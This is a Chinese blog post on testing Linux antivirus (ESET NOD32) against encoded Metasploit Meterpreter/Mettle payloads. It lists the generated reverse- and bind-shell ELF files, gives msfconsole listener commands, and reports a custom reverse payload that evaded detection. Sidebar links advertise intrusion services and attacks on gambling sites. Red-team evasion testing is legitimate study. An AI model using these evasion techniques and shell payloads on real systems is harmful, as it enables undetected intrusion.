目前,我认为在Linux防病毒方面做得比较好的安全厂商有Avast,Eset 和 Kaspersky。当然,本文的目的并不是为了推广某个产品,而是希望通过实例测试将其作为红队练习的一部分进行学习,并了解什么会被标记或是通过(Metasploit/Meterpreter/Mettle)。
因此,为了该测试的顺利进行,我创建了一个简单的shell脚本生成器,它将生成各种被编码可执行的Linux payloads,我们将这些payloads上传到Linux虚拟机(Ubuntu 18.04 x86_64),并让已安装的AV处理它们。剩下的部分是一些理论上可以工作并绕过AV的内容,我们将通过测试一些示例来验证它们的功能。
我将重点关注使用各种编码器组合的Linux x86 和 x86_64 Meterpreter/Mettle payloads。shell脚本生成器包含可以更改的变量名称,以使用喜欢的组合和自动生成二进制文件的进程。
确保将以下脚本放置在metasploit-framework路径中,并使其可执行。生成器脚本位于:
运行脚本时,应输Metasploit-framework LISTENING IP地址和TCP端口,例如:
在第一个测试场景中,我们将在Ubuntu 18.04(x86_64)上使用Eset NOD32 4.0.90:
接着,我们将有一个生成的测试payloads的列表,我们将通过SCP向带有LinuxAV的远程机器提供这些payloads。在我们的测试中,我们生成了47个可执行文件。
-rw-r--r-- 1 root root 1102368 Apr 23 23:44 aarch64-reverse_tcp2.elf -rw-r--r-- 1 root root 332 Apr 23 23:43 aarch64-reverse_tcp.elf -rw-r--r-- 1 root root 1030664 Apr 23 23:44 armle-reverse_tcp2.elf -rw-r--r-- 1 root root 464 Apr 23 23:44 mipsbe-reverse_tcp.elf -rw-r--r-- 1 root root 464 Apr 23 23:44 mipsle-reverse_tcp.elf -rw-r--r-- 1 root root 162 Apr 23 23:39 x64-exec.elf -rw-r--r-- 1 root root 162 Apr 23 23:39 x64-exec-xor.elf -rw-r--r-- 1 root root 198 Apr 23 23:39 x64-mt-bind_tcp.elf -rw-r--r-- 1 root root 239 Apr 23 23:39 x64-mt-bind_tcp-xor.elf -rw-r--r-- 1 root root 1046472 Apr 23 23:39 x64-mt-reverse_tcp2.elf -rw-r--r-- 1 root root 249 Apr 23 23:38 x64-mt-reverse_tcp.elf -rw-r--r-- 1 root root 1046631 Apr 23 23:39 x64-mt-reverse_tcp-xor2.elf -rw-r--r-- 1 root root 295 Apr 23 23:38 x64-mt-reverse_tcp-xor.elf -rw-r--r-- 1 root root 1046472 Apr 23 23:39 x64-mt-rev-http.elf -rw-r--r-- 1 root root 1046472 Apr 23 23:40 x64-mt-rev-https.elf -rw-r--r-- 1 root root 1046631 Apr 23 23:39 x64-mt-rev-https-xor.elf -rw-r--r-- 1 root root 1046631 Apr 23 23:39 x64-mt-rev-http-xor.elf -rw-r--r-- 1 root root 206 Apr 23 23:40 x64-sh-bind_tcp2.elf -rw-r--r-- 1 root root 198 Apr 23 23:40 x64-sh-bind_tcp.elf -rw-r--r-- 1 root root 247 Apr 23 23:40 x64-sh-bind_tcp-xor2.elf -rw-r--r-- 1 root root 239 Apr 23 23:40 x64-sh-bind_tcp-xor.elf -rw-r--r-- 1 root root 249 Apr 23 23:40 x64-sh-reverse.elf -rw-r--r-- 1 root root 194 Apr 23 23:40 x64-sh-reverse_tcp2.elf -rw-r--r-- 1 root root 239 Apr 23 23:40 x64-sh-reverse_tcp-xor2.elf -rw-r--r-- 1 root root 295 Apr 23 23:40 x64-sh-reverse-xor.elf -rw-r--r-- 1 root root 122 Apr 23 23:41 x86-exec.elf -rw-r--r-- 1 root root 257 Apr 23 23:41 x86-exec-xor.elf -rw-r--r-- 1 root root 194 Apr 23 23:42 x86-mt-bind_tcp.elf -rw-r--r-- 1 root root 329 Apr 23 23:41 x86-mt-bind_tcp-xor.elf -rw-r--r-- 1 root root 1107556 Apr 23 23:41 x86-mt-reverse_tcp2.elf -rw-r--r-- 1 root root 207 Apr 23 23:41 x86-mt-reverse_tcp.elf -rw-r--r-- 1 root root 1107790 Apr 23 23:41 x86-mt-reverse_tcp-xor2.elf -rw-r--r-- 1 root root 342 Apr 23 23:41 x86-mt-reverse_tcp-xor.elf -rw-r--r-- 1 root root 614 Apr 23 23:43 x86-mt-reverse_tcp-xor.elf.multi -rw-r--r-- 1 root root 1107556 Apr 23 23:42 x86-mt-rev-http.elf -rw-r--r-- 1 root root 1107556 Apr 23 23:42 x86-mt-rev-https.elf -rw-r--r-- 1 root root 1107790 Apr 23 23:42 x86-mt-rev-https-xor.elf -rw-r--r-- 1 root root 1107790 Apr 23 23:42 x86-mt-rev-http-xor.elf -rw-r--r-- 1 root root 162 Apr 23 23:43 x86-sh-bind_tcp2.elf -rw-r--r-- 1 root root 194 Apr 23 23:43 x86-sh-bind_tcp.elf -rw-r--r-- 1 root root 297 Apr 23 23:43 x86-sh-bind_tcp-xor2.elf -rw-r--r-- 1 root root 329 Apr 23 23:42 x86-sh-bind_tcp-xor.elf -rw-r--r-- 1 root root 207 Apr 23 23:43 x86-sh-reverse.elf -rw-r--r-- 1 root root 152 Apr 23 23:43 x86-sh-reverse_tcp2.elf -rw-r--r-- 1 root root 287 Apr 23 23:43 x86-sh-reverse_tcp-xor2.elf -rw-r--r-- 1 root root 342 Apr 23 23:43 x86-sh-reverse-xor.elf
一旦我们上传了它们,AV就会启动并自动删除其中的大部分payloads。
执行完成后,我们会看到有一些文件被完整地保留了下来,其中一些文件将无法正常工作,还有一些文件则仍可以正常工作,我们将在下一步进行测试……我们有27个文件被保留了下来。
因为我们的VM运行的系统是64位的,所以让我们来看看那些x86_64的payloads。
-rw-r--r-- 1 user user 162 Apr 23 22:08 x64-exec-xor.elf -rw-r--r-- 1 user user 162 Apr 23 22:08 x64-exec.elf -rw-r--r-- 1 user user 198 Apr 23 22:08 x64-mt-bind_tcp.elf -rw-r--r-- 1 user user 1046631 Apr 23 22:08 x64-mt-rev-http-xor.elf -rw-r--r-- 1 user user 1046631 Apr 23 22:08 x64-mt-rev-https-xor.elf -rw-r--r-- 1 user user 1046631 Apr 23 22:08 x64-mt-reverse_tcp-xor2.elf -rw-r--r-- 1 user user 198 Apr 23 22:08 x64-sh-bind_tcp.elf
我们将配置我们的test LISTENER(将以下脚本放置在metasploit-framework目录中并使其可执行)。
(并调整到测试的远程payloads,即相应地更改第13行)
echo -n './msfconsole -x "use exploit/multi/handler; set PAYLOAD linux/x64/meterpreter/reverse_tcp; set LHOST ' > run.listener.sh
如果我们要验证除meterpreter/reverse_tcp之外的任何内容,我们需要将linux/x64/meterpreter/reverse_tcp修改为LISTENER中的相应的payload。
echo -n './msfconsole -x "use exploit/multi/handler; set PAYLOAD linux/x64/meterpreter_reverse_tcp; set LHOST ' > run.listener.sh
以上适用于x64-mt-reverse_tcp-xor2.elf,因为该平台为x64,并且它是一个meterpreter reverse tcp payload,所以我们将启动我们的listener(请注意上述2个payload的差异!)
并使用Eset NOD32 AV在测试VM上执行payload,并获得了一个core-dumped消息:)
让我们试试其他x86_64的mypreter/mettle->x64-mt-bind_tcp.elf
这次我们使用linux/x64/meterpreter/bind_tcp payload,并再次调整LISTENER,这次我们要为bind_tcp添加一个远程IP才能工作(虽然如此),但我们仍要进行测试,这次它可以工作。
但是,我们希望有一个可以绕过Eset NOD32,并且可以正常工作的reverse meterpreter/mettle payload!
让我们尝试更多自定义的代码:
使用Nod32将linux-payload上传到VM并运行listener。
执行linux-payload和…我们成功使用自定义的reverse mettle payload绕过了AV:)
之前我提到过你可以为Windows PE32执行同样的操作。不是吗?:)现在你知道了,它的工作原理和Windows上其实是一样的,并且可以通过上面的脚本,scp等完全自动化进行AV逃避测试。
猜你还喜欢
- 07-08八年专业安全团队承接渗透入侵维护服务
- 08-06SQLMAP的注入命令以及使用方法
- 08-03白帽故事汇:网络安全战士从来不是「男生」的专利
- 07-27编辑器漏洞手册
- 07-12web安全之如何全面发现系统后台
- 02-22常见Web源码泄露总结
- 07-25网站后台登陆万能密码
- 07-23破解emlog收费模板“Begin”
- 01-12批量检测SQL注入
- 01-22Apache Solr远程代码执行漏洞(CVE-2017-12629)从利用到入侵检测
- 随机文章
-
- Web漏洞扫描碎碎念
- 渗透技巧——从远程桌面客户端提取明文凭据
- 记一次某OA的渗透测试(前台注入)
- 远控免杀从入门到实践(3)-代码篇-C/C++
- 常见的Web源码泄漏漏洞及其利用
- 提取Chrome中Cookie工具分享
- 从防护角度看Struts2历史漏洞
- kali下安装 w13scan 被动扫描器和使用
- 远控免杀从入门到实践(5)-代码篇-Python
- 突破PHP函数禁用执行Shell代码分析
- 挖洞经验 | 登录注册表单渗透
- Tomcat-Ajp漏洞:我是如何一步步写出POC的?
- 从防护角度看Thinkphp历史漏洞
- 如何使用Frida绕过Android网络安全配置
- 从防护角度看Weblogic反序列化历史漏洞
- 用CVE-2019-19781漏洞黑掉一台Citrix设备
- 从防护角度看一句话木马的发展变形
- 看我如何绕过Windows 10的用户组策略
- 渗透某非法约xx软件
- 实战bc站 收割菠菜天恒盛达
- 热门文章
-
- 八年专业安全团队承接渗透入侵维护服务
- Emlog黑客站模板“Milw0rm”发布
- Stuxnet纪录片-零日 Zero.Days (2016)【中文字幕】
- SQLMAP的注入命令以及使用方法
- 白帽故事汇:网络安全战士从来不是「男生」的专利
- 编辑器漏洞手册
- web安全之如何全面发现系统后台
- 常见Web源码泄露总结
- 渗透测试培训(第五期)
- 深入理解JAVA反序列化漏洞
- cmseasy前台无需登录直接获取敏感数据的SQL注入(有POC证明)
- 网站后台登陆万能密码
- 黑麒麟2016渗透培训系列教程
- 破解emlog收费模板“Begin”
- 那些强悍的PHP一句话后门
- Android平台渗透测试套件zANTI v2.5发布(含详细说明)
- 渗透工具BackTrack与KaliLinux全套视频教程
- Python列为黑客应该学的四种编程语言之一 初学者该怎么学
- CVE-2017-11882漏洞复现和利用
- 恶意程序报告在线查询工具
文章存档
- 2021年3月(4)
- 2020年12月(4)
- 2020年11月(5)
- 2020年10月(8)
- 2020年9月(8)
- 2020年8月(20)
- 2020年7月(47)
- 2020年6月(70)
- 2020年5月(41)
- 2020年4月(21)
- 2020年3月(120)
- 2020年2月(26)
- 2019年12月(12)
- 2019年11月(13)
- 2019年10月(17)
- 2019年9月(15)
- 2019年8月(13)
- 2019年7月(15)
- 2019年6月(15)
- 2019年5月(19)
- 2019年4月(23)
- 2019年3月(19)
- 2019年2月(11)
- 2019年1月(29)
- 2018年12月(24)
- 2018年11月(56)
- 2018年10月(79)
- 2018年9月(20)
- 2018年8月(17)
- 2018年7月(16)
- 2018年6月(7)
- 2018年5月(10)
- 2018年3月(6)
- 2018年2月(2)
- 2018年1月(11)
- 2017年11月(18)
- 2017年10月(6)
- 2017年9月(8)
- 2017年8月(7)
- 2017年7月(7)
- 2017年6月(15)
- 2017年5月(30)
- 2017年4月(7)
- 2017年3月(1)
- 2017年2月(4)
- 2017年1月(1)
- 2016年12月(3)
- 2016年11月(7)
- 2016年10月(6)
- 2016年9月(6)
- 2016年8月(102)
- 2016年7月(24)
- 2013年7月(1)
- 文章标签
-